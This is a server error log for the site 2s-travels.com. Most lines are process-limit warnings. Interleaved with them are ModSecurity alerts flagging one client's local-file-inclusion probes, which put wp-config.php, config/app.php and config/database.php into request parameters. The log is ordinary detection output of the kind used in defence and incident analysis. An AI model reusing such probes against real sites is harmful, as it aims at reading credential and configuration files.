[Fri Jul 17 08:55:50.903345 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.903632 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvlh1WDijTxd1xw5MmAAAAAc"]
[Fri Jul 17 08:55:50.909945 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:path_2: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvujME1mgqYZ5O94mdAAAAAE"]
[Fri Jul 17 08:55:50.910618 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvujME1mgqYZ5O94mdAAAAAE"]
[Fri Jul 17 08:55:50.910797 2026] [hostinglimits:warn] [pid 2031172:tid 2031172] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031172) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.911133 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvujME1mgqYZ5O94mdAAAAAE"]
[Fri Jul 17 08:55:50.914838 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.929163 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.932879 2026] [hostinglimits:warn] [pid 2031172:tid 2031172] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031172) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.954698 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.958229 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.958421 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.958848 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.978073 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.982396 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.982549 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.997707 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.003943 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.031267 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.039333 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:google_language_translator: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv0gVnBK6wAv37w6shwAAABQ"]
[Fri Jul 17 08:55:51.039963 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv0gVnBK6wAv37w6shwAAABQ"]
[Fri Jul 17 08:55:51.040108 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.040392 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgv0gVnBK6wAv37w6shwAAABQ"]
[Fri Jul 17 08:55:51.049767 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:google_language_translator: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxJ0z2bEtnOrIXVAogAAAAk"]
[Fri Jul 17 08:55:51.050430 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxJ0z2bEtnOrIXVAogAAAAk"]
[Fri Jul 17 08:55:51.050563 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.050908 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvxJ0z2bEtnOrIXVAogAAAAk"]
[Fri Jul 17 08:55:51.054220 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:google_language_translator: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxAi3pC6yjXGNq2ApQAAAAU"]
[Fri Jul 17 08:55:51.054453 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:google_language_translator: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv1h1WDijTxd1xw5MnAAAAAc"]
[Fri Jul 17 08:55:51.054853 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxAi3pC6yjXGNq2ApQAAAAU"]
[Fri Jul 17 08:55:51.054967 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.055241 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvxAi3pC6yjXGNq2ApQAAAAU"]
[Fri Jul 17 08:55:51.057004 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv1h1WDijTxd1xw5MnAAAAAc"]
[Fri Jul 17 08:55:51.057163 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.057481 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgv1h1WDijTxd1xw5MnAAAAAc"]
[Fri Jul 17 08:55:51.060506 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:google_language_translator: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv_wooI4qY7Jg93pVqAAAABM"]
[Fri Jul 17 08:55:51.061220 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv_wooI4qY7Jg93pVqAAAABM"]
[Fri Jul 17 08:55:51.061394 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.061750 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgv_wooI4qY7Jg93pVqAAAABM"]
[Fri Jul 17 08:55:51.066636 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:google_language_translator: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv0gVnBK6wAv37w6siAAAABQ"]
[Fri Jul 17 08:55:51.067351 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv0gVnBK6wAv37w6siAAAABQ"]
[Fri Jul 17 08:55:51.067487 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.067767 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgv0gVnBK6wAv37w6siAAAABQ"]
[Fri Jul 17 08:55:51.077789 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.084909 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.088237 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.267992 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.269430 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.276755 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
